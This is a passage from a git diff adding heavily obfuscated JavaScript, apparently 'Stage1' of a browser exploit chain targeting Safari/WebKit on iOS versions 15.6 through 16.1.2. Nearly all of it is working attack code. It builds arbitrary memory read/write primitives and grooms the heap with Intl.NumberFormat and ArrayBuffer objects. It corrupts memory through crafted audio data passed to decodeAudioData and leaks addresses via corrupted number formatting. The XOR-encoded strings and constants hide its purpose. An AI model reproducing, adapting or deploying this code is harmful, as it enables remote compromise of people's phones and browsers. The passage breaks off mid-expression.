^ -1051627216)), M, u, w, !0, g[0], 0, 0, .1), t[T.hi][T.oi] = void 0 + }), (r => { + const i = x.F(r), + s = x._(r); + _.b = x.Y(N, s - D), _.c = x.Y(i, (845563497 ^ 845789590)); + const e = d(c, -(4294967296 + (1432711012 ^ -714772636)), M, u, w, !0, t[T.hi], T.oi, 0, 0); + return d(c, -(4294967296 + (1667786836 ^ -479696812)), M, u, w, !0, g[0], 0, 0, .1), t[T.hi][T.oi] = void 0, x.P(e) + }), (() => {})); + { + const t = JSON.parse(([12, 102, 121, 103, 123, 119, 102, 121, 101, 123, 119, 102, 121, 100, 10].map(x => { + return String.fromCharCode(x ^ 87); + }).join(""))), + r = B.tr(t); + ((t, ...r) => { + let i = 0; + for (const s of r) { + if (B.br(t + i) !== s) throw new Error(""); + i += 4 + } + })(B.nr(r + 8), 0, (897216598 ^ 176844886), (963209808 ^ 173693283), (1632252785 ^ 1589182530), (4294967296 + (2037070182 ^ -1247283797)), (1446009196 ^ 1774491040)) + } { + const t = new ArrayBuffer((1714447693 ^ 1714447437)), + r = new DataView(t), + i = B.Mr(t, !0); + for (let s = 0; s < (1899253850 ^ 1899696666); s++) { + const n = e(0, (926041398 ^ 953006793)), + h = e(0, t.byteLength - 4); + if (s % 2 == 0) { + if (B.dr(i + h, n), r.getUint32(h, !0) !== n) throw 0 + } else if (r.setUint32(h, n, !0), B.br(i + h) !== n) throw 0 + } + } + P.zn.Xn = B; + const I = new Uint32Array(4); + class J { + constructor(t, r) { + if (t < 0 || t > (4294967296 + (1416911217 ^ -1416911218))) throw new Error(""); + if (r < 0 || r > (4294967296 + (1329677151 ^ -1329677152))) throw new Error(""); + this.ci = t, this.fi = r + } + static null() { + return new J(0, 0) + } + static li(t) { + const r = P.zn.Xn.tr(t); + return J.ut(r) + } + static bi(t) { + const r = P.zn.Xn.Mr(t); + return J.ut(r) + } + static ut(t) { + return new J(t >>> 0, t / 4294967296 >>> 0) + } + static L(t) { + return new J(x.C(t), x.V(t)) + } + static ui(t) { + return new J(t, 0) + } + static wi(t, r) { + return new J(t, r) + } + di() { + return 4294967296 * this.fi + this.ci + } + gi() { + return new m(this.ci, this.fi) + } + yi() { + if (0 !== this.fi) throw new Error(""); + return this.ci + } + nr() { + const t = P.zn.Xn.br(this.di()), + r = P.zn.Xn.br(this.di() + 4); + return new J(t, r) + } + Er(t = (1867662180 ^ 1867662080)) { + return P.zn.Xn.Er(this.di(), t) + } + ti(t) { + P.zn.Xn.dr(this.di(), t.ci), P.zn.Xn.dr(this.di() + 4, t.fi) + } + Ui(t) { + P.zn.Xn.dr(this.di(), t) + } + mi() { + return P.zn.Xn.br(this.di()) + } + Ai() { + return this.fi > o + } + Ti() { + return 0 === this.ci && 0 === this.fi + } + lt(t) { + return this.ci === t.ci && this.fi === t.fi + } + Pi(t) { + return this.fi === t.fi ? this.ci >= t.ci : this.fi >= t.fi + } + Si(t) { + return this.fi === t.fi ? this.ci <= t.ci : this.fi <= t.fi + } + add(t) { + if (t instanceof J == !1) throw new Error(""); + if (I[0] = this.ci, I[1] = this.ci + t.ci, I[2] = this.fi, I[3] = this.fi + t.fi, I[1] < I[0] && (I[3] += 1), I[3] < I[2]) throw new Error(""); + return new J(I[1], I[3]) + } + sub(t) { + if (t instanceof J == !1) throw new Error(""); + if (I[0] = this.ci, I[1] = this.ci - t.ci, I[2] = this.fi, I[3] = this.fi - t.fi, I[1] > I[0] && (I[3] -= 1), I[2] < I[3]) throw new Error(""); + return new J(I[1], I[3]) + } + H(t) { + return this.add(J.ui(t)) + } + Bt(t) { + return this.sub(J.ui(t)) + } + Di() { + return this.ci + } + Ei() { + return this.fi + } + Dt() { + return new J(this.ci, this.fi & o) + } + toString() { + let t = this.ci.toString(16); + return this.fi && (t = (this.fi.toString(16)) + ((([93, 93, 93, 93, 93, 93, 93, 93].map(x => { + return String.fromCharCode(x ^ 109); + }).join("")) + t).slice(-8))), ([4, 76].map(x => { + return String.fromCharCode(x ^ 52) + }).join("")) + (t) + } + } + P.zn.Ln = J +}, r; \ No newline at end of file diff --git a/other/Stage1_15.6_16.1.2_bluebird.js b/other/Stage1_15.6_16.1.2_bluebird.js new file mode 100644 index 0000000..4a67840 --- /dev/null +++ b/other/Stage1_15.6_16.1.2_bluebird.js @@ -0,0 +1,1330 @@ +let r = {}; +const x = globalThis.obChTK.hPL3On(([88, 90, 91, 95, 93, 95, 93, 91, 9, 91, 95, 93, 90, 84, 15, 12, 12, 9, 93, 8, 88, 90, 8, 91, 9, 84, 8, 14, 84, 94, 92, 95, 93, 14, 93, 11, 88, 95, 89, 90].map(x => { + return String.fromCharCode(x ^ 109); +}).join(""))), + { + N: G, + Vt: m, + v: o + } = globalThis.obChTK.hPL3On(([120, 122, 123, 127, 125, 127, 125, 123, 41, 123, 127, 125, 122, 116, 47, 44, 44, 41, 125, 40, 120, 122, 40, 123, 41, 116, 40, 46, 116, 126, 124, 127, 125, 46, 125, 43, 120, 127, 121, 122].map(x => { + return String.fromCharCode(x ^ 77); + }).join(""))), + P = globalThis.obChTK.hPL3On(([69, 64, 66, 66, 77, 23, 21, 71, 22, 69, 65, 69, 77, 22, 21, 70, 21, 76, 18, 64, 68, 22, 17, 70, 76, 67, 18, 66, 64, 66, 16, 64, 16, 67, 65, 77, 71, 17, 22, 68].map(x => { + return String.fromCharCode(x ^ 116); + }).join(""))); +class k { + constructor(t) { + this.Bi = t, this._r = { + a: !1 + }, this.Wr = 0, this.yr = !1 + } + hr(t, i, n = 0) { + let r = ""; + for (let s = 0; s < i; s += 8) { + const i = this.br(t + s + n), + a = this.br(t + s + n + 4); + r += (G(t + s)) + ([71].map(x => { + return String.fromCharCode(x ^ 111) + }).join("")) + (G(s)) + ([71, 84, 78].map(x => { + return String.fromCharCode(x ^ 110) + }).join("")) + (e = i, o = a, ([87, 31].map(x => { + return String.fromCharCode(x ^ 103) + }).join("")) + (o.toString(16)) + ([121, 121, 121, 121, 121, 121, 121, 121].map(x => { + return String.fromCharCode(x ^ 73) + }).join("")) + (e.toString(16)).slice(-8)) + ([70].map(x => { + return String.fromCharCode(x ^ 76) + }).join("")) + } + var e, o + } + wr(t, i, n) { + for (let r = 0; r < n; r += 4) this.dr(t + r, i) + } + gr(t, i, n) { + if (n % 4 != 0) throw new Error(""); + this.yr = !0; + for (let r = 0; r < n; r += 4) this.dr(t.H(r).W(), this.br(i.H(r).W())); + this.yr = !1 + } + ir(t) { + this.yr = !0; + const i = this.br(t.W()); + return this.yr = !1, i + } + Ur(t) { + this.yr = !0; + const i = this.br(t.W()), + n = this.br(t.H(4).W()); + return this.yr = !1, new m(i, n) + } + mr(t) { + this.yr = !0; + const i = this.br(t.W()), + n = this.br(t.H(4).W()); + return this.yr = !1, x.T(i, n) + } + Ar(t) { + const i = t.it % 4; + t = t.Bt(i), this.yr = !0; + const n = this.br(t.W()) >> 8 * i & (1464496978 ^ 1464497069); + return this.yr = !1, n + } + Tr(t, i = (762274105 ^ 762273849)) { + let n = ""; + for (; n.length < i;) { + const i = this.Ar(t.H(n.length)); + if (0 === i) break; + n += String.fromCharCode(i) + } + return n + } + Pr(t, i) { + let n = ""; + for (; n.length < i;) { + const i = this.Ar(t.H(n.length)); + n += String.fromCharCode(i) + } + return n + } + br(t) { + return -1 + } + Jr(t, i) { } + write32x2(t, i, n) { + this.dr(t, i), this.dr(t + 4, n) + } + ti(t, i) { } + dr(t, i) { } + Sr(t) { + const i = t % 4; + let n; + return n = !0 === this.yr ? x.q(t, -i) : t - i, this.br(n) >> 8 * i & (1198608761 ^ 1198608774) + } + nr(t) { + const i = this.br(t), + n = this.br(t + 4); + if (n > o) throw new Error(""); + return x.T(i, n) + } + Dr(t, i = !1) { + const n = this.br(t); + let r = this.br(t + 4); + return (!0 === i || globalThis.obChTK.hPL3On(([107, 110, 108, 108, 99, 57, 59, 105, 56, 107, 111, 107, 99, 56, 59, 104, 59, 98, 60, 110, 106, 56, 63, 104, 98, 109, 60, 108, 110, 108, 62, 110, 62, 109, 111, 99, 105, 63, 56, 106].map(x => { + return String.fromCharCode(x ^ 90); + }).join(""))).zn.Nn.zohDDd) && (r &= o), x.T(n, r) + } + rr(t) { + const i = this.br(t), + n = this.br(t + 4); + return new m(i, n) + } + Er(t, i = (1665348973 ^ 1665348717)) { + let n = (812406617 ^ 1335077030); + ([88, 67, 91, 84, 83, 68].map(x => { + return String.fromCharCode(x ^ 54); + }).join("")) == typeof i && (n = i); + let r = ""; + for (; r.length < n;) { + const i = this.Sr(t + r.length); + if (0 === i) break; + r += String.fromCharCode(i) + } + return r + } + Nr(t, i) { + let n = ""; + for (; n.length < i;) { + const i = this.Sr(t + n.length); + n += String.fromCharCode(i) + } + return n + } + tr(t) { + this._r.a = t; + const i = this.nr(this.Wr); + return this._r.a = null, i + } + zr() { } + pr(t) { + const i = new DataView(new ArrayBuffer(t.length + 1)); + x.D(i); + for (let n = 0; n < t.length; n++) i.setUint8(n, t.charCodeAt(n)); + return this.Mr(i) + } + Or(t, i = !1) { + const n = new ArrayBuffer(t), + r = new Uint8Array(n); + x.D(n); + const e = this.tr(r), + o = this.Dr(e + globalThis.obChTK.hPL3On(([82, 87, 85, 85, 90, 0, 2, 80, 1, 82, 86, 82, 90, 1, 2, 81, 2, 91, 5, 87, 83, 1, 6, 81, 91, 84, 5, 85, 87, 85, 7, 87, 7, 84, 86, 90, 80, 6, 1, 83].map(x => { + return String.fromCharCode(x ^ 99); + }).join(""))).zn.Nn.oGn3OG); + if (!0 === i) { + const t = this.tr(n), + i = this.Dr(t + globalThis.obChTK.hPL3On(([2, 7, 5, 5, 10, 80, 82, 0, 81, 2, 6, 2, 10, 81, 82, 1, 82, 11, 85, 7, 3, 81, 86, 1, 11, 4, 85, 5, 7, 5, 87, 7, 87, 4, 6, 10, 0, 86, 81, 3].map(x => { + return String.fromCharCode(x ^ 51); + }).join(""))).zn.Nn.CN3rr_); + let r = this.br(i + globalThis.obChTK.hPL3On(([65, 68, 70, 70, 73, 19, 17, 67, 18, 65, 69, 65, 73, 18, 17, 66, 17, 72, 22, 68, 64, 18, 21, 66, 72, 71, 22, 70, 68, 70, 20, 68, 20, 71, 69, 73, 67, 21, 18, 64].map(x => { + return String.fromCharCode(x ^ 112); + }).join(""))).zn.Nn.EMDU4o); + r += 32, this.dr(i + globalThis.obChTK.hPL3On(([93, 88, 90, 90, 85, 15, 13, 95, 14, 93, 89, 93, 85, 14, 13, 94, 13, 84, 10, 88, 92, 14, 9, 94, 84, 91, 10, 90, 88, 90, 8, 88, 8, 91, 89, 85, 95, 9, 14, 92].map(x => { + return String.fromCharCode(x ^ 108); + }).join(""))).zn.Nn.EMDU4o, r) + } + return o + } + Mr(t, i = !1) { + t instanceof ArrayBuffer && (t = new Int8Array(t)); + const n = this.tr(t); + return this.Dr(n + globalThis.obChTK.hPL3On(([125, 120, 122, 122, 117, 47, 45, 127, 46, 125, 121, 125, 117, 46, 45, 126, 45, 116, 42, 120, 124, 46, 41, 126, 116, 123, 42, 122, 120, 122, 40, 120, 40, 123, 121, 117, 127, 41, 46, 124].map(x => { + return String.fromCharCode(x ^ 76); + }).join(""))).zn.Nn.oGn3OG, i) + } + Br(t, ...i) { + const n = new Array(i.length + 10); + for (let t = 0; t < i.length; t++) n[t] = this.rr(i[t].Ir); + try { + for (let t = 0; t < i.length; t++) this.Jr(i[t].Ir, i[t].Zt); + t() + } finally { + for (let t = 0; t < i.length; t++) this.Jr(i[t].Ir, n[t]) + } + } +} +class z extends k { + constructor(t, i) { + super(t), this.Ii = i, this.Wr = x.K(this.Ii.tA(this._r)) + globalThis.obChTK.hPL3On(([116, 113, 115, 115, 124, 38, 36, 118, 39, 116, 112, 116, 124, 39, 36, 119, 36, 125, 35, 113, 117, 39, 32, 119, 125, 114, 35, 115, 113, 115, 33, 113, 33, 114, 112, 124, 118, 32, 39, 117].map(x => { + return String.fromCharCode(x ^ 69); + }).join(""))).zn.Nn.fGOrHX + } + _i(t) { + return !0 === this.yr ? x.X(t) : x.O(t) + } + br(t) { + return this.Ii.br(this._i(t)) + } + dr(t, i) { + this.Ii.dr(this._i(t), i) + } + ti(t, i) { + this.Ii.dr(this._i(t), i >>> 0), this.Ii.dr(this._i(t) + BigInt(4), i / 4294967296 >>> 0) + } + Jr(t, i) { + this.Ii.dr(this._i(t), i.it), this.Ii.dr(this._i(t) + BigInt(4), i.et) + } + write32x2(t, i, n) { + this.Ii.dr(this._i(t), i), this.Ii.dr(this._i(t) + BigInt(4), n) + } +} +class C { + constructor() { + this.rn = new ArrayBuffer(16), this.en = new DataView(this.rn) + } + un(t) { + return this.en.setInt16(0, t, !0), this.en.getInt16(0, !0) + } + on(t) { + return this.en.setUint16(0, t, !0), this.en.getUint16(0, !0) + } + sn(t) { + return this.en.setUint32(0, t, !0), this.en.getUint32(0, !0) + } + hn(t, i) { + return this.en.setFloat64(0, t, !0), this.en.setUint32(0, i, !0), this.en.getFloat64(0, !0) + } + cn(t, i) { + return this.en.setFloat64(0, t, !0), this.en.setUint32(4, i, !0), this.en.getFloat64(0, !0) + } + fn(t) { + for (let i = 0; i < 4; i++) { + const n = t.charCodeAt(i); + if (Number.isNaN(n)) throw new Error(""); + this.en.setUint16(2 * i, n, !0) + } + return this.en.getBigUint64(0, !0) + } + an(t) { + return this.en.setFloat32(0, t, !0), this.en.getUint32(0, !0) + } + wn(t) { + return this.en.setBigUint64(0, t, !0), this.en.getFloat64(0, !0) + } + gn(t, i) { + return this.en.setBigUint64(0, t, !0), this.en.setUint8(0, Number(i)), this.en.getBigUint64(0, !0) + } + ln(t, i) { + return this.en.setBigUint64(0, t, !0), this.en.setUint32(0, Number(i), !0), this.en.getBigUint64(0, !0) + } + bn(t, i) { + return this.en.setUint32(0, t, !0), this.en.setUint8(0, Number(i)), this.en.getUint32(0, !0) + } + Un(t, i) { + return this.en.setUint32(0, t, !0), this.en.setUint32(0, Number(i), !0), this.en.getUint32(0, !0) + } + mn(t, i) { + return this.en.setBigUint64(0, t, !0), this.en.setUint32(0, Number(i), !0), this.en.getBigUint64(0, !0) + } + ki(t) { + return this.en.setBigInt64(0, t, !0), this.en.getBigUint64(0, !0) + } +} +class M { + constructor(t, i, n, r, e, o, s, a) { + this.vi = t, this.Fi = i, this.Ni = n, this.zi = r, this.pi = e, this.Ci = o, this.xi = s, this.Mi = a, this.Oi = new C + } + Wi(t) { + this.zi.baseVal = Number(t >> BigInt(32)), this.Fi.baseVal = Number(t - BigInt(28) & BigInt(([1, 73, 119, 119, 119, 119, 119, 119, 119, 119].map(x => { + return String.fromCharCode(x ^ 49); + }).join("")))) + } + Vi(t) { + this.Oi.en.setUint32(0, Number(t), !0), this.Ci.baseVal = this.Oi.en.getUint32(0, !0) + } + $i() { + return this.Oi.en.setUint32(0, this.Ci.baseVal, !0), this.Oi.en.getUint32(0, !0) + } + dr(t, i) { + this.Wi(t), this.Vi(i) + } + Hi(t, i) { + this.Wi(t), this.Vi(i & BigInt(([83, 27, 37, 37, 37, 37, 37, 37, 37, 37].map(x => { + return String.fromCharCode(x ^ 99); + }).join("")))), this.Wi(t + BigInt(4)), this.Vi(i >> BigInt(32)) + } + Er(t, i = (1983998776 ^ 1983998008)) { + let n = ""; + for (let r = 0; r < i; r++) { + const i = this.Sr(t + BigInt(r)); + if (0 === i) break; + n += String.fromCharCode(i) + } + return n + } + br(t) { + return this.Wi(t), this.$i() + } + ji(t) { + return (1112564076 ^ 1112579731) & this.br(t) + } + Sr(t) { + return (2016893289 ^ 2016893334) & this.br(t) + } + Ki(t) { + const i = this.br(t), + n = this.br(t + BigInt(4)); + return BigInt(n) << BigInt(32) | BigInt(i) + } + tA(t) { + this.Mi[0] = t; + const i = this.Ki(this.xi + BigInt(8)), + n = this.Ki(i); + return this.Mi[0] = null, n + } +} +return r.si = async function (t) { + const i = BigInt(([74, 2, 77, 60, 60, 60, 60, 60, 60, 60, 60, 60].map(x => { + return String.fromCharCode(x ^ 122); + }).join(""))); + + function n(t) { + return t & i + } + try { + const i = await async function () { + const i = { + Ji: null, + Li: null + }, + r = new OfflineAudioContext(2, (1261462879 ^ 1261488411), (1832209514 ^ 1832247342)), + e = r.decodeAudioData.bind(r), + o = []; + r.decodeAudioData = async t => { + const i = await e(t); + return o.push(i), null + }; + const s = (1331970635 ^ 1331976467); + + function a() { + let t = 0; + for (let i = 0; i < s; i++) try { + new Intl.NumberFormat(([46, 37, 61, 37, 41, 32, 44, 32, 59, 17].map(x => { + return String.fromCharCode(x ^ 74); + }).join("")), {}) + } catch (i) { + t += 1 + } + if (t !== s) throw new Error("") + } + + function c() { + for (let t = 0; t < (1750692460 ^ 1750692508); t++) new ArrayBuffer((1447127853 ^ 1442933549)) + } + async function h(t, i) { + const n = S(k, new T), + e = p(new ArrayBuffer((1397113677 ^ 1397097293)), (825849196 ^ 825851436), (946692948 ^ 946696852)), + o = [], + h = [], + l = []; + for (let n = 0; n < s; n++) t[i + n] = new Intl.NumberFormat(([53, 62, 125, 5, 3].map(x => { + return String.fromCharCode(x ^ 80); + }).join("")), {}), o[n] = [new Intl.NumberFormat(([51, 56, 123, 3, 5].map(x => { + return String.fromCharCode(x ^ 86); + }).join("")), {}), new Intl.NumberFormat(([40, 35, 96, 24, 30].map(x => { + return String.fromCharCode(x ^ 77); + }).join("")), {}), new Intl.NumberFormat(([39, 44, 111, 23, 17].map(x => { + return String.fromCharCode(x ^ 66); + }).join("")), {})], h.push([new Intl.NumberFormat(([46, 37, 102, 30, 24].map(x => { + return String.fromCharCode(x ^ 75); + }).join("")), {}), new Intl.NumberFormat(([54, 61, 126, 6, 0].map(x => { + return String.fromCharCode(x ^ 83); + }).join("")), {})]); + h.length = 0, c(), a(); + for (let n = 0; n < s; n++) t[i + n].format(1), t[i + n].format(2), t[i + n].format(3); + o.length = 0, c(), a(); + for (let t = 0; t < 20; t++) { + await r.decodeAudioData(e), await r.decodeAudioData(e); + try { + await r.decodeAudioData(n) + } catch (t) { } + } + for (let n = i; n < t.length; n++) { + const i = t[n]; + if (null === i) continue; + const r = i.format(1.02); + if (4 !== r.length) { + for (let t = 0; t < r.length; t++); + let n = BigInt(r.charCodeAt(19)); + return n = n << BigInt(16) | BigInt(r.charCodeAt(18)), n = n << BigInt(16) | BigInt(r.charCodeAt(17)), n -= BigInt((2052666958 ^ 2052667254)), { + Ri: [...t, ...o, ...h, ...l], + Xi: i, + qi: n + } + } + } + throw new Error("") + } + const l = (1598836557 ^ 1598852957), + f = 1, + w = 2, + u = 3, + g = 5, + d = 6, + b = 10, + B = (1248819300 ^ 503254354), + I = BigInt((1329753424 ^ 1329753816)), + _ = BigInt((808924234 ^ 808925058)), + m = BigInt(8), + y = BigInt(12), + U = BigInt(10), + E = BigInt(24), + k = new ArrayBuffer((1496413524 ^ 1496397140)), + v = new C; + class F { + Gi(t) { + if (t !== this.Qi.length) throw new Error("") + } + Yi(t) { + if (0 === t.length) return 0; + if (this.Zi + t.length >= this.Qi.length && (this.Gi(this.Zi + t.length + 1), this.Zi + t.length >= this.Qi.length)) throw new Error(""); + return this.Qi.set(t, this.Zi), this.Zi += t.length, t.length + } + te(t) { + if (this.Zi < 0) throw new Error(""); + if (this.Zi > this.Qi.length) throw new Error(""); + this.Zi = t + } + ie() { + this.Zi = 0 + } + ne() { + return this.Qi.length + } + re() { + return this.Zi + } + ee() { + return this.Qi.subarray() + } + constructor(t) { + this.Qi = new Uint8Array(t), this.Zi = 0, this.oe = new ArrayBuffer(32), this.se = new Uint8Array(this.oe), this.ae = new DataView(this.oe) + } + ce(t) { + this.ae.setUint32(0, t, !1), this.Yi(this.se.subarray(0, 4)) + } + he(t) { + this.ae.setUint16(0, t, !1), this.Yi(this.se.subarray(0, 2)) + } + le(t, i) { + const n = new Uint8Array(i); + n.fill(t), this.Yi(n) + } + fe(t) { + this.Yi(new Uint8Array([t])) + } + we(t) { + let i = 0; + for (; i < t.length;) { + const n = t.charCodeAt(i); + if (0 != ((1131695413 ^ 1131721269) & n)) throw new Error(""); + this.fe(n), i++ + } + } + ue(t) { + this.te(t) + } + ge() { + this.ie() + } + de() { + return this.ne() + } + be() { + return this.re() + } + Be() { + return this.ee() + } + } + class N { + Ie(t) { } + _e(t) { } + } + + function S(t, i) { + const n = new F(t), + r = [{ + tag: f, + me: void 0, + ye: void 0 + }, { + tag: u, + me: void 0, + ye: void 0 + }, { + tag: g, + me: void 0, + ye: void 0 + }, { + tag: d, + me: void 0, + ye: void 0 + }, { + tag: b, + me: void 0, + ye: void 0 + }], + e = 16 + 12 * r.length; + n.ue(e); + for (const t of r) { + const r = n.be(); + switch (t.me = r, t.tag) { + case f: { + const t = { + Ue: 0, + Ee: 0, + ke: B, + ve: 0, + Fe: 0, + Ne: 0, + Se: 0 + }; + n.he(t.Ue), n.he(t.Ee), n.ce(t.ke), n.ce(t.ve), n.ce(t.Fe), n.ce(t.Ne), n.ce(t.Se); + break + } + case u: + n.he(0), n.le("\0", 16), n.le("\0", 40), n.ce(0), n.ce(0), n.ce(0), n.ce(0); + break; + case g: + n.ce(0); + break; + case d: + i.Ie(n); + break; + case b: + i._e(n) + } + t.ye = n.be() - r + } + const o = n.be(); + n.ue(0), n.ce(o), n.ce(B), n.ce(r.length), n.ce(0); + for (const t of r) n.ce(t.tag), n.ce(t.me), n.ce(t.ye); + return n.Be().buffer.slice(0, o) + } + class A extends N { + constructor(t, i) { + super(), this.Ae = t, this.Te = i + } + Ie(t) { + const i = [], + n = (1245868108 ^ 1245856356); + if (this.Ae < BigInt(4294967296)) throw new Error(""); + let r = Number((this.Ae >> BigInt(32)).toString()); + v.on(r) % 2 == 0 && (r += 1); + let e = v.un(-(1346467123 ^ 1346453811)); + e -= 16 * r; + let o = v.un(24 * r + 72); + if (v.on(o) % 16 != 0) throw new Error(""); + o += 16, e += o; + const s = Math.floor(e / 16), + a = v.un(8 * s); + let c = this.Ae - BigInt(a.toString()); + c -= BigInt(v.on(8 * r).toString()); + const h = (t, i) => t <= i ? t : i, + f = (t, i) => Number(BigInt.asUintN(t, i).toString()), + w = h(BigInt((4294967296 + (1364288331 ^ -1364288332))), c); + i.push({ + ze: 0, + pe: f(32, w), + Ce: l + }), c -= w; + let u = r; + for (; u > 0;) + if (u -= 1, c !== BigInt(0)) { + const t = h(BigInt((4294967296 + (1833069881 ^ -1833069882))), c); + i.push({ + ze: 1, + pe: f(32, t), + Ce: l + }), c -= t + } else i.push({ + ze: 1, + pe: 0, + Ce: l + }); + i.push({ + ze: v.on(s), + pe: 0, + Ce: l + }), i.push({ + ze: 1, + pe: 0, + Ce: l + }), i.push({ + ze: 12, + pe: 0, + Ce: l + }); + let g = 0; + for (const t of i) g += v.un(t.ze); + let d = 0; + if (g < 0) d += -1 * g, d += (1131962233 ^ 1131961432); + else { + if (d > (1817196108 ^ 1817195885)) throw new Error(""); + d += (1732462198 ^ 1732461911) - d + } + if (i.push({ + ze: d, + pe: 0, + Ce: l + }), 24 * i.length > n) throw new Error(""); + for (; 24 * i.length !== n;) i.push({ + ze: 0, + pe: 0, + Ce: l + }); + t.ce(i.length); + for (const n of i) t.ce(n.ze), t.ce(0), t.ce(0), t.ce(n.pe), t.ce(0), t.he(n.Ce), t.ce(0) + } + _e(t) { + t.ce(this.Te[1]), t.ce(this.Te[0]) + } + } + class T extends N { + constructor() { + super() + } + Ie(t) { + const i = []; + let n = -(1281700471 ^ 1281695863); + n += (1848864878 ^ 1848866798), n = Math.floor(n / 16), i.push({ + ze: 0, + pe: 0, + Ce: l + }), i.push({ + ze: 0, + pe: 0, + Ce: l + }), i.push({ + ze: v.on(n), + pe: 0, + Ce: l + }), i.push({ + ze: 1, + pe: (4294967296 + (1731682929 ^ -1731682930)), + Ce: 0 + }); + const r = Math.floor(-(1937008452 ^ 1937008428)); + i.push({ + ze: v.on(r), + pe: (1882552910 ^ 1882556797), + Ce: 0 + }), i.push({ + ze: 2, + pe: (1313501509 ^ 1313505910), + Ce: 0 + }), i.push({ + ze: 2, + pe: (1145467467 ^ 1145471352), + Ce: 0 + }); + let e = 0; + for (const t of i) e += v.un(t.ze); + const o = Math.floor((1431263313 ^ 1431263565)); + let s = 0; + if (e < 0) s += -1 * e, s += o; + else { + if (s > o) throw new Error(""); + s += o - s + } + for (i.push({ + ze: s, + pe: 0, + Ce: 0 + }); 24 * i.length != (1161251638 ^ 1161251822);) i.push({ + ze: 0, + pe: 0, + Ce: 0 + }); + t.ce(i.length); + for (const n of i) t.ce(n.ze), t.ce(0), t.ce(0), t.ce(n.pe), t.ce(0), t.he(n.Ce), t.ce(0) + } + _e(t) { + t.ce((1365203545 ^ 1365203227)), t.ce((1450798932 ^ 1450798102)), t.ce((1331327860 ^ 1331331143)), t.ce((1514556777 ^ 1514584365)) + } + } + + function p(t, i, n) { + const r = new F(t); + if (i % 24 != 0) throw new Error(""); + if (n % 16 != 0) throw new Error(""); + const e = i / 24, + o = n / 16; + if (e >= o) throw new Error(""); + if (o >= (761620786 ^ 761599693)) throw new Error(""); + const s = []; + for (let t = 0; t < e - 1; t++) s.push({ + ze: 1 + }); + s.push({ + ze: o - e + }); + for (const t of s) t.pe = 0, t.xe = 1, t.Ce = l; + s[0].pe = 19; + const a = [{ + tag: f, + me: void 0, + ye: void 0 + }, { + tag: w, + me: void 0, + ye: void 0 + }, { + tag: u, + me: void 0, + ye: void 0 + }, { + tag: g, + me: void 0, + ye: void 0 + }, { + tag: d, + me: void 0, + ye: void 0 + }, { + tag: b, + me: void 0, + ye: void 0 + }], + c = 16 + 12 * a.length; + r.ue(c); + for (const t of a) { + const i = r.be(); + switch (t.me = i, t.tag) { + case f: { + const t = { + Ue: 0, + Ee: 0, + ke: B, + ve: 0, + Fe: 0, + Ne: 0, + Se: 0 + }; + r.he(t.Ue), r.he(t.Ee), r.ce(t.ke), r.ce(t.ve), r.ce(t.Fe), r.ce(t.Ne), r.ce(t.Se); + break + } + case w: { + const t = [ + [([12, 33, 37, 32, 33, 54, 23, 33, 33, 32].map(x => { + return String.fromCharCode(x ^ 68); + }).join("")), "0"], + [([8, 35, 46, 63, 52, 61, 57, 40, 41, 15, 33, 34, 46, 38, 62].map(x => { + return String.fromCharCode(x ^ 77); + }).join("")), "0"], + [([47, 2, 6, 3, 2, 21, 44, 2, 30].map(x => { + return String.fromCharCode(x ^ 103); + }).join("")), ([81, 65, 81, 65, 81, 65, 81].map(x => { + return String.fromCharCode(x ^ 97); + }).join(""))], + [([0, 19, 22, 23, 58, 51, 38].map(x => { + return String.fromCharCode(x ^ 67); + }).join("")), "0"] + ]; + r.ce(t.length); + for (const [i, n] of t) r.fe(0), r.ce(i.length), r.ce(n.length), r.we(i), r.we(n); + break + } + case u: + r.he(0), r.le("\0", 16), r.le("\0", 40), r.ce(19), r.ce(0), r.ce(0), r.ce(0); + break; + case g: + r.ce(0); + break; + case d: { + const t = -1; + r.ce(s.length); + for (const i of s) r.ce(i.ze), r.ce(t), r.ce(t), r.ce(i.pe), r.ce(i.xe), r.he(i.Ce), r.ce(0); + break + } + case b: { + r.ce(19); + const t = r.be() + 4; + r.ce(t), r.le("\0", 19); + let i = r.be() + 8; + for (let t = 0; t < o; t++) r.ce(0), r.ce(i), i += 8; + break + } + } + t.ye = r.be() - i + } + const h = r.be(); + r.ue(0), r.ce(h), r.ce(B), r.ce(a.length), r.ce(0); + for (const t of a) r.ce(t.tag), r.ce(t.me), r.ce(t.ye); + return r.Be().buffer.slice(0, h) + } + return await async function () { + const e = []; + let s = 0, + a = 0, + c = null; + for (a = 0; a < 12; a++) try { + c = await h(e, s); + break + } catch (t) { + s = e.length + } + if (null === c) throw new Error(""); + const l = await async function (e) { + const o = new ArrayBuffer((1933993560 ^ 1933977176)), + s = new ArrayBuffer((1467382354 ^ 1467365970)), + a = p(o, (1767200610 ^ 1767201826), (1396920442 ^ 1396929658)); + class c { + async init() { + const t = e.qi + I, + i = t + m, + o = t + E, + c = e.qi + _, + h = async (t, i) => { + { + const n = S(s, new A(t, [i, 0])); + let o = 0; + const c = e.Xi.format(1 / 0); + do { + if (o += 1, o > 20) throw Error(0); + for (let t = 0; t < 12; t++) await r.decodeAudioData(a); + try { + await r.decodeAudioData(n) + } catch (t) { } + } while (c === e.Xi.format(1 / 0)) + } + }; + await h(i, (893998410 ^ 893998664)), await h(o, Number(c & BigInt(([7, 79, 113, 113, 113, 113, 113, 113, 113, 113].map(x => { + return String.fromCharCode(x ^ 55); + }).join(""))))), await h(o + BigInt(4), Number(c >> BigInt(32))); + { + const t = e.Xi.format(1 / 0), + i = (E - U) / BigInt(2); + let n = BigInt(0); + for (let r = 3; r >= 0; r--) n = n << BigInt(16) | BigInt(t.charCodeAt(Number(i) + r)) + } + await h(i, (844327525 ^ 844328557)); + const l = e.Xi.format(1 / 0); + this.Pe = n(this.Me(l, 0)) + } + constructor() { + this.Oe = !1, this.We = null, this.De = null, this.Ve = null, this.Pe = null, this.$e = new Uint16Array(new ArrayBuffer(32)), this.He = new DataView(this.$e.buffer) + } + hr(t = (862091577 ^ 862091833)) { + for (let i = 0; i < Math.min(t, Number(this.De)); i += 8); + } + je(t, i) { + if (i = BigInt(i), null === this.We) throw new Error(""); + if (null === this.De) throw new Error(""); + if (null === this.Ve) throw new Error(""); + const n = t + i; + if (n < this.We) throw new Error(""); + if (n >= this.We + this.De) throw new Error("") + } + Ke() { + this.Ve = e.Xi.format(NaN) + } + br(t) { + if ((t = Number(t)) % 2 != 0) throw new Error(""); + this.je(this.We, t), t /= 2; + for (let i = 0; i < 2; i++) { + const n = this.Ve.charCodeAt(t + i); + if (Number.isNaN(n)) throw new Error(""); + this.$e[i] = n + } + return this.He.getUint32(0, !0) + } + Er(t = 0, i = (1632710982 ^ 